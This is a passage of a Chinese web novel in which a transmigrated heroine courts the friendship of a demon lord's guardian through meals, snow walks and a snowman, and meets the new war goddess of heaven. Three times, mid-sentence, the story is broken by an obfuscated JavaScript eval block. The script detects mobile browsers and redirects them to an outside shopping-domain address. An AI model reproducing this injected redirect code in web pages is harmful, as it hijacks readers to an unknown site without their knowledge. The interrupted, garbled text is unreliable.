怕他不方便啃猪蹄,我洗了手,把炖烂的猪蹄脱骨,将软糯的皮肉放他碗里。 “护法尝尝,我觉得还可以。” “嗯。” “既然你受伤了,我这几天都来和你吃饭吧,我给你打包醉人楼的饭菜,弄清淡营养点!” 观沧海一愣,“你是说早中晚都来?” 我连忙点头:“对呀!你这里只有这些小妖怪们,又没个帮忙的,我来给你干活。” “不需要。” “可是你受伤了。” “以前也是这么过来的。” “呃……” 看样子不是很想,可他又没有完全拒绝,是不是可以按照以往的厚脸皮强行过来? 我又盛了第三碗饭吃,现在身体虚,我可没想过减肥什么的。吃着吃着,我忽然发现一个盲点。 “护法,你说魔尊受伤,医师也去了。” “嗯。” “那你为什么不在魔尊那边把手上的伤口给处理了?难道你以往受伤,都不要医师看?” 观沧海看我一眼,虽然有些不想解释,但还是耐着性子回答了。 “小伤都是自己处理,重伤会有医师来。” “但是你刚刚都在魔尊那边了,不就顺便的事情。” “我让你在这等我,所以我要快点来。” “你也太有责任心了。” 一是他觉得小伤没事,二是他怕我久等。 到底还是战神转世啊,虽然没了上辈子的记忆,品性还是不错的,就是很难打交道。 要不是我有任务在身,死缠烂打地和他套近乎,我是不会和他走近的。 也许,真的会错过一个不错的朋友。 看来让魔尊用法术下雪是不行了,毕竟她也受伤了,还是等自然下雪,我再邀请他出去赏雪散步吧。 观沧海没有同意我一日三餐都往他那里跑,只能每天选一个餐点去,而且还是他做饭,我带食材或者做好的菜都行。 虽是凡人之躯,但他的身体强度早就脱离了凡人范畴,又是修炼天才,左手掌上的伤好得很快,换过几次药,就能活动了。 这天,我被随璘叫去近身伺候,就在她办公的其中一间书房。 我换上侍女统一的紫金色衣裙,盘好发髻,就去上班了。魔尊伤了肩膀,比观沧海要重一些,披着外衣坐在软椅上。 我给香炉里换上燃香,又为她换了一杯热茶,将窗户关小一点,这才在她面前站好。 “你们天界怎么回事。”她看着我,一脸不快。 怕怕!她最近那么喜欢青峦,现在被人抢回去了,肯定心里不爽,这个时候叫我来伺候,我是不是要来扛雷了。 “冤枉啊魔尊,我都下来多久了,不知道那些。” “你去药王那里的时候没听说什么吗。” 我摇头表示不知道,“我就是去药王那里拿药,天帝天后也就第一次见过,后来都是和你还有药王那边接触。再说了,我就是一个办事的牛马,真有什么秘密,我哪能知道呢。” “别怕,本尊没拿你撒气。” 察觉到了我的惧怕,随璘出言安慰了一声,我就没那么紧绷了。 “万相千重刃,数万年都没人能拿得起,现在被一个仙娥拿着,看来天界早有动作了。” 这个神器的名字听起来就很拽啊,不过不知其貌,我不敢随便评论。 “天界说不定要有新战神了。”随璘判断道。 “因为拿了那个神器,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721004|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能当战神了,那这神器也太强了吧。”我看懂气氛,顺势搭话。 “上古神器万相千重刃,不是人为锻造,而是自然孕育而出,自岩浆诞生,汇聚万千灵力。谁拿谁就是老大。” “这么厉害,那上古神器应该能对付上古六魔啊。为什么还要牺牲战神去封印?” “神器又不是战神,要给天界打工,神器只听主人的。它没主子,就随心所欲。这三界都不会在乎。” “好吧。”还挺酷。 看来这万相千重刃以前不管三界死活,比较任性。 “咚咚咚——” 外面响起敲门声,随璘示意我去开门。 打开门,我看到不染尘埃的辞镜,他的目光越过我,看向屋内,脸色算不得好。 我还想禀报一声,他就越过我直接进屋,我可不敢拦,只是出声提醒道:“魔尊,是辞镜先生来了。” “小星星出去吧。” 辞镜说完一挥手,我就被赶走。感觉我应该听随璘的话,可哪个我都得罪不起啊!于是我老实地在门口罚站。 在外面站岗,站累了,我就在台阶上坐着,拉开乾坤袋,从里面掏吃的。我用葫芦装了茶水,先吃板栗饼,渴了,就举起葫芦喝一口。 眼前的天光被挡住,啃着饼子的我抬眼,看到了面前的一双靴子。顺着这双腿往上看,剑眉星眸的俏少年映入眼帘,虽然面色还是一贯的苍白。 “魔尊在里面吗。” “在,不过护法我没有偷懒,是辞镜先生让我出来的,他和魔尊在里面!” 连忙从台阶上站起,我把里面的情况说出,免得观沧海进去被牵连。本来随璘和辞镜最近就情况不妙,随璘还被抢了青峦,这个时候进去,很容易被波及。 听我这么说,想要上台阶的腿放下来了,观沧海只说道:“我是想说,东边有几个妖王闹事,我去处理。也看看魔尊的伤势。” “魔尊的身体状况没什么,就是心情不太美丽,毕竟青峦仙尊被带回去了。”我把自己知道的都告诉给他,然后递过去一块板栗饼,“要不吃点东西,等辞镜先生聊完了,你再进去?” 看着我手里的饼子,他接过了,当着我的面吃起来。 既然接受了我的投喂,我也可以继续吃了。观察一下他的左手,上次还包得厚,这次敷药的纱布都轻薄了许多。 “我还有喝的茉莉茶,这壶给你。”拿出另一个葫芦塞他手里,怕他口渴,我很是贴心。 于是变成了我俩坐在台阶上吃吃喝喝,忽的,屋内传来争执的声音,听起来是吵架了。 我的第一反应是想偷听吃瓜,观沧海却比我识趣得多,他听了一耳朵,立即抓起我的袖子,将我拉走了。 “哎,护法,我们去哪里,我还要站岗啊。” “不用。等人出来了,你再回去。” 他简短地说明,就将我拽出小院,在一墙之外的石桌旁等候。 看来吃不成瓜了,不过说不定随璘和辞镜床头打架床尾和,万一听到什么不该听的,还是躲开点比较好。 我又掏出了五香瓜子,“护法,嗑瓜子。” “……” 欲言又止的他抓了一把瓜子,我笑着说,“护法想问什么呀?我对护法知无不言。” “只是觉得你很能吃。” “能吃是福,我不吃,身体熬不住。我乾坤袋里全是吃的,你有什么喜欢的,说不定我兜里有呢?” “杨梅。” 我马上打开乾坤袋翻找,半天也没找出来。 “我觉得你没有,才说的。” “……”你这浓眉大眼的小子,还有捉弄人的时候? 我记得我有杨梅相关的,我不服输,继续翻来找去,然后拿出了一罐密封的巴掌大的瓷罐,标签上贴着蜜汁杨梅汤。 “当当当当~你看!我有杨梅相关的。” “……” 这次轮到观沧海纳闷了。 9.09 哼哼,我的乾坤袋里,可是有着能开一个小卖部的货量啊,全是保质期内的食物,绝不会饿着自己,还会及时补充货品。 我将瓷罐塞他右手上,“送你了,很甜的,一点不酸,我回购过。” 恰好此时辞镜出来了,他一脸不悦地走过小院的围墙,看到我和观沧海在这站着,冰妖一改郁色,对着我俩温和一笑。 “沧海也来了,去找璘儿吧,她如今受了伤,天界也有威胁,还得你多费心。” “知道了,先生。” 等辞镜走了,我俩才走回去,我其实很想八卦。因为我刚才看到辞镜的脖子上有吻痕,观沧海肯定也看见了,但他装傻。稍微一联想,就觉得战况激烈,嘿嘿嘿。 奈何我心里磕得飞起,也不能和观沧海吃瓜。 我俩进了房间,随璘在整理头发,看到我俩进来了,她脸上有了笑意,“沧海有什么事?” “东域那边有妖王闹事,我去处理。” “行,那几个家伙是该收拾了。你手里拿着一罐杨梅做什么,送我的?” “姜星辰送我的,你想要就给你。” “你蠢啊,自己吃,不过小星星怎么不送我杨梅啊?” 没想到我被带进话题,我连忙说道:“下次我送魔尊!多准备点。” “本尊知道,最近你俩关系还可以,沧海你不找女人,找个知心好友也是行的。本尊放小星星去跟着你,考虑一下。” “我无心谈情交友。” “真的?那再给你挑挑,反正本尊有的是人选。”这次随璘没有善罢甘休,而是决定换人去他身边。 这种热心长辈介绍相亲的既视感太重了。 观沧海沉默了,思虑再三,像是一下子做不出决定,便说道:“……我考虑一下。” 看起来是相当为难了。 “行,从东域回来后给答复。不满意小星星咱们就换,本尊能给你选成千上百个小可爱呢。” 随璘一个以退为进,让观沧海不得不正经考虑需不需要我在身边。 这招看起来也不错,可万一他从东域回来,想清楚了还是不要,后期接近他只会更难了,怎么才能从饭搭子更近一步啊。 要不,还是写辞职报告吧,三界和我一起埋了。 不对,现在三界埋不了,眼下出来一个很厉害的小仙女能拿上古神器,我感觉这和我的任务是有关系的。 哎。 观沧海出差后,随璘看我体弱,也没怎么带我在身边,大部分时候我是放假状态的。 不上班的日子是真爽,就这么过了一个月的懒猪生活,吃了睡睡了吃。 这天夜里,魔宫这个八方城迎来了第一场雪。 我站在院子里看雪,这雪花随着时间变得越来越大。妖多少都有一点修为可以抵御严寒酷署,但我这身体弱,所以只能烤火用手炉,再多吃点补身体的御寒。 原本是打算借着下雪邀观沧海出去玩,还能加深一下友情线,但他已经出差一月多了。 不过随璘还是提醒我了,我确实应该去天界打探一番消息,如果上面真的有新战神了,那观沧海回不回天界也没什么关系吧。 既然有新的力量对付六魔,我这个马前卒也能收回?只是我没完成任务,画给我的大饼估计是没了。 有点纠结。 烦恼着,我将窗户关上,避开外面的风雪。思来想去,眼下正闲着,要不就打探一下消息? 放下手炉,换上出行的衣裳,天界四季如春,是不需要穿冬装的。我在房间里使用了传送阵法,又一次到了药王殿。 “嗨,禾儿!” 一眨眼就到了目的地,看到熟面孔,我跑过去和她打招呼,将从妖魔界带来的新药材还有特产之类的送她。 禾儿看我来了,也挺欢喜,带我去屋里,说道,“药吃完了?最近身体怎么样?” “还没吃完,身体好了一些,慢慢养吧。药王在吗?” “药王出去喝酒了,要过几天才能回来,有什么我能帮忙的?” 听她这么讲,我又觉得能问的事比较少,如果是药王,说不定还能知道一二。 “没,就是过来看看,拿些外伤药,内服药。”我改了话,笑着说。 “哪种外伤药,哪种内服的,对应什么症状外伤?” 这还真是给我问住了,我考虑了一番自己的情况,又考虑了观沧海的情况,“打架的外伤,什么刀枪棍棒法术造成的,内服的就是阵痛消炎,安神补气,调理灵力之类的,反正是好的,没有副作用的。” 禾儿不愧是药王的得力助手,我说得这么含糊,她自动理解好,笃定道:“那我明白了,我就看着给你拿药,然后贴好标签,行不行?” “太好了,你真是冰雪聪明!” “哈哈哈,多谢夸奖。” 不出半个时辰,禾儿将一些药包和仙丹给我,上面都写了什么情况下可用,简直是心细如发。 我俩还正聊着,外面又来了人,禾儿看到对方,马上笑着迎过去。我好奇地张望,和前来的人目光对上。 这个少女眼澄似水,略显圆润的脸很有亲和力,让人第一眼见了就挺喜欢的。我算是懂什么叫做一见如故的感觉了。 不过我很快被她身侧的人吸引了目光,一张和青峦几乎一样,但是更显年轻的漂亮面庞,并且气势更强,眉宇更锋锐。 “美少年!”我拿着药包,不由得喊出声。 禾儿左右看了看,顺势给我和对方做了个引荐。少女名叫云喜雨,是如今的战神,而身后的少年则是上古神器万相千重刃,如今取名为飞星。 也就是这家伙当初不管六魔肆虐三界,袖手旁观,所以牛马观沧海为天下牺牲自己了。 我还挺震惊的,这和随璘预料得差不多,天界真有新战神了。 更没想到万相千重刃的人形这么俊美,以前就觉得青峦美得有点没气势,现在这一点被对方补足,简直美味。 我一边吃东西一边和云喜雨对账,为了表现诚意,我把自己知道的全都说了,没有一点藏私。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740199|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能是因为她有一双坚定又干净的黑色眼睛吧,我觉得她是可以信任之人,而且还是天界的新战神,我必须抱住她的大腿啊! 感受到我的真诚,云喜雨同样回以自己的诚意,于是我也知道了自己不清楚的事。 天后曾用青峦仙尊当诱饵,想许三个人,一个是我,一个是云喜雨,还有一个是随璘。简直是一菜三吃,好算计。 云喜雨和随璘是喜欢青峦的,还好我没有蹚浑水,不然对手是战神和魔尊,我有几条命抢男人? 可是,飞星不喜欢云喜雨吗?我的磕糖雷达在拉响。 “贪吃鬼,你这什么眼神?” “没!没什么前辈!” 被美少年叫贪吃鬼,也算是福报吧。 一开始我还疑惑为什么上古神器和青峦长得像,原来是化形参考了他的容貌,真是会挑,我支持,美少年就是世界遗产。 在这次对账以后,我和云喜雨的关系突飞猛进,同时也明白了天帝天后的打算。 作为万相千重刃的飞星的确能够对付观沧海身体里的六魔,但他出手了,观沧海会死,因为六魔和转世后的他算是一体的。 天帝天后借由占卜,盼来我这个穿越的人,想要用情感化他,消灭体内六魔,重回天界。 我是安全保守的方案一,云喜雨是力挽狂澜兜底的方案二。 随璘养观沧海十八年,也是养出感情,希望灭六魔时,他也能活下来,所以和天界联手。 眼下,云喜雨这个新战神还有自己的难题。 她和青峦、随璘牵扯不清,而这里面还有辞镜和飞星,已经不是三角恋,而是多角恋了。对于当事人来讲乱成一锅粥,刚好够我喝。 我还是不拆穿了,做个喝粥的。 新战神是个恋爱脑,也是个坚强好姑娘。她当初是为了救被魔尊掳走的青峦,这才去拿起神器,当战神也同样是这个理由,她排除万难做到了,我佩服她。 现在我也有了一些底气,要是我没完成感化任务,就直接让她带着飞星把观沧海砍了就是。 到时候我没有功劳也有苦劳吧,还能让她帮我在天帝天后面前美言几句,我觉得可行! 带着这个好消息,我回了妖魔界的宿舍,现在有了底气,抱了大腿,我就觉得这个项目没那么难了。反正我又不是兜底的。 今夜看着雪景,我美滋滋地睡了。 第二天我还在赖床,宝珠敲响我的门,说是魔尊找我,护法也回来了。听到这个消息,我赶紧爬起来洗漱。 换上厚一点的侍女工作服,在腰间挂上乾坤袋,我赶紧跟着宝珠去见随璘。 进了一间茶室,随璘坐在榻上,后面好几个男宠在伺候她,又是捶背又是揉腿的。先前有青峦在,这些男宠都没机会表现,一个个气得牙痒痒。 我的目光一转,看到坐在旁边的观沧海,然后行礼:“魔尊、护法。” “小星星,沧海想好了,可以让你去给他做事。” 什么,在这种时候,我的进度条居然动起来了? 10.10 好消息,我终于成为了目标人物的跟班。 坏消息,并不是那种时时刻刻伺候他衣食起居的跟班,而是上班时间去找他,下班了我自己回家的类型,而以他这种不找侍从的性子,估计我也不用加班。 我连住家保姆都不是,但这也算进步了吧,从拼好饭的饭搭子变成了工作时间能在一起的牛马? 随璘这么说着,便让观沧海将我带走,自己又和男宠们嬉闹起来。 看到随璘在这个男宠怀里拱一拱,那个男宠嘴上啵一啵,观沧海放下手里茶杯,不轻不重的声响让这些邀宠的美人们吓得僵硬。 什么什么!观沧海你是不是吃醋了!是不是要大发雷霆了!磕糖雷达——启动! 随璘嗔怪地看观沧海一眼,“你吓着本尊的宝贝们了。” 少年提醒道:“魔尊请适度,你肩上的伤并未痊愈。” “瞎操心,早就结痂了。”她不在意地又张嘴吃男宠喂过来的橘子。 看到这个橘子,我倒是想起来了。 上次魔宫给里面做事的人都发了一筐橘子一筐柚子,我也有,像是公司的过冬礼品。这些水果都是从人界进货,算是稀罕物品,因为妖魔界的人种植方面确实不怎么厉害,也没凡人那么勤劳聪颖。 观沧海因为位置是护法,也和随璘没有暧昧关系,所以男宠们对他只有敬畏没有妒忌,也就格外怕他。被这么一提醒,大家都不太敢在他面前放肆。 只要和随璘有男女之情,就算争宠对手是辞镜,有些男宠也敢争上一二,是真不怕死。 “哎,沧海你别杵在这了,真的吓着本尊的宝贝们了。” 随璘笑着挥手赶我们走,观沧海也是拿她没办法,起身看了我一眼。接触到他的眼神,他转身后,我意识到现在也是上班时间,我从此刻算起,就是跟着他上班了! 连忙拔腿跟上,我在观沧海的左后方走着。一路上他没什么话,路上看到我们的人都驻足行礼,少年要么嗯一声,要么点点头,也算是有回应。 他对魔宫很熟悉,全都抄近路,没多久就走到了偏门出口。 把守的侍卫行礼后打开门,我俩看到漫天雪花,这条小道延伸出去,一排排常青的植物迎着风雪长得茂盛。积雪压在树梢头,更有一番冬景的趣味。 “护法,下雪了!” “嗯。” “请问你还有事情要做吗?” 他摇摇头,不解地看着我,显然是把之前看雪的事情给忘记了。不过无所谓,本来就是我强行交友,他不上心很正常。 “我们去看雪景,散步吧!” “……” “好不好,还是你左手的伤没好利索,不太方便?” “没事,你想去哪里看雪。” “呃,就附近走走,没那么多人的地方,雪肯定也更漂亮。” 他答应了,免得我在旁边念叨。 从乾坤袋里拿出两把油纸伞,我递给他一把,“护法,撑伞。” “不是赏雪么。” “对啊,雪这么大,得撑伞挡着看。不然走一会儿,满头都是雪,我这么体弱,搞不好会风寒的。” 从我手里接过伞,观沧海说道:“身子弱,就不该雪天出来。” “护法说的是,不过适当地散步还是可以的,请~”将伞撑开,我对着他做了个请的手势。 他没有挪动,好心道:“我给你用法术避雪。” “不用,用了法术就觉得没那种感觉了。” “你要什么感觉。” “撑着伞,慢悠悠的,雪中散步,享受冬日。” “……” 我打着伞先走下台阶,因为这里是众多侧门中的一个,今日还没人从这里来往,所以外面小道上的雪都是崭新的。 踏着毛茸茸的软靴踩上雪地,我踩出来一个笑脸,然后邀请观沧海,“护法,你都会自己去做家务,不就是享受那种做事的过程嘛,你应该懂我这种在雪中玩耍的感觉吧!” 这么一说,他似乎有些了然,也撑伞走了下来。 观沧海低头看着我的脚印像是在发呆,看了片刻,他抬脚照着我的脚印踩了过来,随后又分开,在另一片干净的雪地上踩出了一个笑脸。 看来也是童心未泯,毕竟才是男大的年纪。 把这里的雪地踩乱后,我俩循着这条小道往他的宅邸去。 手有点沉了,抖一抖,将伞面上的积雪给抖开,显得轻便了些,我又快步追上身前的少年,开口问他。 “护法,我以后跟着你做事,为了方便,我应该搬去你家才对啊。” “不需要。” “那我的上工时间是?” “你看着来。” 兄弟你认真的?你这是找人打工,还是找人供着? 不让我搬去他的宅子里伺候,也就是不需要贴身,但我已经从魔尊那里调职到他手下,更别提我还有任务在身,不可能真的三天打鱼两天晒网。 我还是有职业道德的,所以我决定朝九晚五。 观沧海就是不想随璘给他塞别的人,又觉得我不爬床,还算可控,所以才会接受把我调过去跟着他吧。 “护法,你这些天都会在家里吗?” “应该。” “哦~” “你今日可以早些回去。” “你的意思是,一会儿散完步,我可以放工回家了?” “嗯。” 天啊,我在现代要是有你这样的上司,我不得把你供起来啊! “我第一天跟着你,就早早回去不太好吧。” “无妨。” “呃,要不,我把你送回去,然后在护法家里玩雪?也算是待了一阵,然后再回去。” 他有些诧异,侧头看过来,伞面挡住了他的视线,我把伞移开一些,望向那双黑色的眼睛。 新战神云喜雨有着澄澈明亮的黑色眼眸,其实观沧海也是,他的眼睛是有神的,也是沉静坚定的。 五百年了,他的战神之位终于有了继承者,如果是前世的他,应该会觉得欣慰吧。 这么一想,要是前世的他知道转世的自己做了妖魔界的护法,还有可能和六魔残念融合变成祸害,又会是什么感想呢。 “有冰。” 脑子里想着事,没听到观沧海的提醒,一脚踩上结冰的地面,这一滑,我从思虑中惊醒,尖叫着劈出一字马,右手还把伞高高地举着。 好一个小丑。还好裤子质量好,没有破裆。 惊魂未定地劈叉,我扭头看向身旁,不太敢动了,生怕在这里跳一段身不由己的街舞。 “护法,救救我。”我抖着嗓子喊。 “来了。” 观沧海笑出声,这才走过来托住我的手臂,将我从打滑的地方拉走。 感觉两条腿扯到筋了,我龇牙咧嘴地用手揉揉腿根,这人转开了视线,大概觉得我这动作不太雅观。我走友情线我怕啥,不需要少女心的。 “护法,其实你可以在我劈叉前拉住我的吧。”我有些怨念地看向他,虽说确实是我的问题。 “我提醒了,你没应,我以为你不会打滑。” “……哦。” 回去的路上自然是经过街道,我又开始给乾坤袋里补货,还买了一些道具,观沧海也不管,这让我的自由度很高。 跟着他走到大门前,小妖怪来开门,观沧海将一些零嘴给它们,然后抖掉雪,收伞后还给我。 他的宅邸没有人来往,里面的积雪干干净净,用来堆雪人十分合适。 “护法,我们一起在你前院这里堆个大雪人吧!” “我也要?” 准备回屋的他愣住,回头指着自己,我已经从袋子里拿铲子给他,“对啊,好朋友,一起走!” “……我没答应。” “可我一个人堆不起很大的雪人,朋友,你忍心吗?” “那就堆小的。” “小的多没意思,还是大得好,至少身高和你差不多吧。” “为什么要为难自己。” “这是挑战!” 不给他拒绝的机会,我戴上斗笠,挥舞起铲子在雪地上开铲。 掂量着手里的铲子,纠结着,观沧海还是过来了,“雪人什么样子。” “就堆那种下面圆圆上面也圆圆的雪人。这样。”我随手抓了两团雪球 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观沧海将雪人的身体团了起来,很大的一颗雪球,已经有我胸口那么高了。虽然是被我拉过来堆雪人,但也没抱怨,而是认真做了。这人做事情,真是一丝不苟,有始有终啊。 我将自己铲好的雪团起来,“护法,麻烦你把这个小的,放到大的上面去。” 他弯腰端起这颗雪球,往自己那颗大的上面架上去,一个和他差不多身高的雪人就有了雏形。 “然后呢。”他打量着这个雪人,看上去有了点兴致。 在院子里逛一下就能捡到合适的树枝,将这个作为雪人的双手插上去,我又将脑袋上的斗笠给了雪人戴。 他问:“脸怎么做。” 我拿起柑橘:“用吃的!” “冰镇着吃么。” “呃,那用什么。” 观沧海也学我在院子里找,他刚才铲了不少雪,在裸露的地上找到了石头,挑来挑去,用比较圆润的石子给雪人当了眼睛。 既然都能用石头了,我和他一块挑选,雪人的鼻子和嘴巴,也全都用石头来代替拼凑。 一个憨态可掬的大雪人完成,只是光秃秃的树枝手显得单调了。 “护法,你有没有觉得它手上没东西。显得空空的。” 观沧海抓了一团雪球,揉捏着,做出一个兔子,兔耳朵是用树叶装饰出来的。他把这个雪兔放在了雪人的树杈子手上,是显得有伴儿了些。 想到自己最近有了一点点灵力,我有意卖弄,说道:“我还有装饰的!” “吃的么。” “不是,是花哦。冬天可不会有牡丹开,但谁让我是牡丹精呢!” 我努力催动灵力,从掌心里长出一枝粉色牡丹花,连着叶片一起,看着分外讨喜鲜活,在这白雪中成为亮眼的点缀。 “护法,你说这花放在雪人哪里?”我举起手里的牡丹,还挺自豪。 “你的灵力那么稀少,还产花。” “确实要没力气了,我堆完了要歇歇。” “就把花插在雪人的心口。” “会不会有点惊悚了。” 观沧海从我手里拿过牡丹,将花枝慢慢地捻进雪人的心口处,就好像雪人的心里开出了花,看着还挺有寓意的。 我满意地欣赏着,惋惜道:“可惜我现在灵力不够,等以后有能力了,用牡丹花给雪人做一件花衣裳。” “要多久才能做花衣裳。” “不知道。” “以你这不务正业的样子看,得要好几百年吧。” “护法,我好歹是你的跟班,未来的挚友,你应该给我希望的。” 我明明一直在做正事,哪里不务正业了! 观沧海并不觉得我能马上变厉害,转而问道:“不冷吗?” “冷的。你看我手,关节都不灵活了。” “去灶房,那边有火。” “好的~” “要留下来吃饭吗。” “要!” 想不到还能蹭到一顿饭,真好。 11.11 灶房里的果蔬肉类齐全,应该是他回来的时候补货了,收拾妥当的橱柜和菜筐中都是满满当当的,有种物资充足的安心感。 冬天,不就应该涮火锅吗。菜这么多,外面又下雪,此情此景不吃火锅真的浪费了。 “护法,我们涮肉吃吧,用浓汤煮肉下菜!” “做汤锅么,清汤还是辣汤。” “清汤。反正蘸料可以自己调配。” 灶房里生着炭火,室内暖和不少,我帮忙打下手,他倒是没让我做多少事情。 铜锅洗好了摆在木桌上,底部塞入炭火暖锅,青菜豆腐汤倒入进去,没一会儿就咕噜噜地冒泡,热气大量地冒出,模糊了少年认真的眉眼。 我把两盘蘸料放好,又把切好的肉菜、蔬菜摆上。小锅里还煮了腊肠饭,不得不说,我俩在吃的方面还挺对得上的。 “你在找什么。” 东西都齐全后,观沧海落座,看到我在乾坤袋里翻东西,便又问了一声。 “解腻去火的花茶包,找到了,借护法家的小火炉一用。” 将茶包丢入陶罐里,倒入井水炖煮,丢两勺蜂蜜进去,这茶水便更加甘甜。 暖意腾腾的灶房内有着寻常人家的烟火气息,妖魔界这里是不像凡间那样过年的,所以就算临近年关,也没什么节日气氛。 “护法,你觉得自己算是凡人,还是妖魔界的?”又或者还是天界呢。 其实他现在的身份,要是纠结一点的人来看,那相当复杂的。 观沧海用长筷下肉:“这不重要。” “要是不重要,你为什么不交朋友?既没有凡人的朋友,也没有妖魔的朋友。” 好似被我戳中了心思,他略微皱眉看过来,我连忙将脸埋进饭碗里,“这牛肉真好吃啊,下次我们吃羊肉锅吧!” 虽然问题是我先问的,但也是我先怂的,所以他也不说什么。 目前想和他交心还挺难的,也是,随璘养他长大,才获得这死心塌地的护法,我和他才认识多久啊。 心急吃不了热豆腐,再说我失败了,还有小雨呢! 这么想着,我也就不问那些敏感话题,换了个方向,“护法,要是最近没有别的事,要不要去凡间看一看?” 他怔然,“看什么?” “看看别的人是怎么生活,和妖魔界还是有不一样的。还是说,你以前去人间看过?” “没有,去了凡人城镇也只是过路。” “我觉得可以去游玩一下,正好这个季节,凡人应该是要过年的,一家团员过除夕,放烟花,走亲访友。” “我只有魔尊。” “还有我,我是护法忠诚的挚友啊!我们去了凡间,还可以给魔尊带些好吃好玩的。” “她经常去人间,也有凡人男宠。” “哦,也是哦,忘了魔尊是个喜欢到处玩的。那你小时候,魔尊没有带你去人间吗?” “没有,我小时候在修炼,十二岁开始做护法的事情。” “哇,童工啊,年纪轻轻,就已经有了六年的工作经历。” 比我当牛马的经验还多。 想邀请观沧海去凡人城镇玩耍,但是他最后拒绝了,这个旅游计划只能搁浅。 在他家吃了火锅,收拾了灶房,这天色又暗下来了。 为了明天来上班不迟到,我也不再逗留,挑着一盏灯离开这大宅子。夜晚的街道还是灯火通明,八方城没有宵禁,甚至晚上的时候更加热闹,所以走夜路也没什么。 我回了宿舍,拿着换洗衣物去浴房洗澡,洗完以后,我又去了一趟天界。 在药王殿多拿一些茶包,还有泡澡的草药,本着来都来了的心态,我又去找云喜雨。 新任战神封号万相,而观沧海上一世封号是上阳战神。在天界提起上阳,几乎无人不知无人不晓。 其实找云喜雨没什么事,就是联络下感情。可惜来得不巧,她在洗澡,房里是飞星在。 飞星作为上古神器,又是排名第一的,这个傲气是可想而知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748932|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。这么一对比,我觉得观沧海还算好接触,不知道云喜雨当初拿飞星,有没有吃苦头。 “贪吃鬼,跑来做什么。” “拿些草药来的,然后顺便过来联络下和小雨的感情,前辈,这是妖魔界的一些好吃的,送给小雨和你。” 飞星看着我递过去的这一大袋子,倒也没有拒绝和嫌弃,问道,“你要等她过来吗?” “不用了,这次见不着,下次也能见,就不打扰你们休息了。” 说完,我又返回药王殿。传送阵法第一次启用后,只会在初始地和目的地之间徘徊,别的地方没法去,毕竟这是固定的阵法,而不是我自己创造的。 从药王殿回了宿舍,这一整天的联络感情,我终于也是累了。 躺回温暖的被窝,我将发热的符纸贴在里面,这就和暖宝宝一样,甚至更加安全,不会爆炸或者漏水。这些发热符还花了我不少灵石去买,自带法术的符咒肯定是不便宜的。 窗户开着半个巴掌大的距离,外面偶有寒风夹带着雪花飘进来,能看到外面的灯色和树影。 我的思绪飘远,对于家人的思念也还好,毕竟我家只要有儿子就行了,女儿是泼出去的水,这话我从小听到大。 所以比起想念家人,我更想手机、电脑、蛋糕、奶茶、游戏、追的小说电视、磕的CP…… 不过我在这边生活得挺好的,衣食无忧,上班虽然舔狗了一些,但只要集中精力舔一个目标,事成之后我就有房子,还能位列仙班,再说又抱上了新战神的大腿。 这么一想,其实我现在的日子也不是很差啊,舔一个人和舔一群行政,那区别可大了,而且观沧海又长得好看,脾气也不差,挺好养活的。 没错,我只要循序渐进,一点点打入他的心,当一个知心好友还是不难的,比当老婆简单多了。 老婆还有被杀妻证道的风险,可没听过谁要杀友证道的。 还是老老实实按照挚友的路线进攻,也不要太着急了,心急吃不了热豆腐。 12.12 自己给自己定的朝九晚五,就不能太糊弄了。我大概早上八点左右出门的,先是去醉人楼看看有什么早饭。 店小二看到我了,热情地迎接过来,怕我看不清挂在柜台上的菜牌,还贴心地给我念一遍。 我让他给我来两份一样的早饭打包,他一甩肩上的汗巾,笑道:“好嘞,姜姑娘坐着稍等片刻,马上给你做出来。” 早饭这个点,来酒楼的人不是很多。我倒了一杯红枣茶喝,还挺甜的。 也就一杯茶的工夫,我的两份早饭就用竹篮送出来了,我拎起着竹篮转身出门。 像这种酒楼提供的食盒也是算了钱的,但如果把篮子还回去,老板也会把食盒的钱退回来。 趾高气昂地走进观沧海家的大门,走了一段路,就看到院子里像是将军一样的雪人。 昨夜下了一整晚的雪,这个雪人居然没什么变化,我走过去凑近观察,发现有结界在雪人周围保护着。 观沧海还是挺有心的,除非天气转暖,雪人自己融化,否则不会被外力破坏。 在小精怪的带领下,我去往灶房那边。水井周遭的白雪被清理,衣着单薄的少年坐在板凳上,他弓着腰背正在磨刀。 虽然此刻没下那么大的雪,但依然有细小的雪花飘散,就这么落在他的发梢、肩头。 刀刃与磨刀石发出富有节奏的声音,他停下动作,舀一勺水浇在上面,这才看向我,“怎么了。” “护法,一起吃早饭啊!” “吃过了。” 晴天霹雳!我幻想着一日三餐交流感情的场面就被击碎了,好不容易吃饭的时候能和他聊天了,他居然吃过了。 没关系,我还有中饭和晚饭。 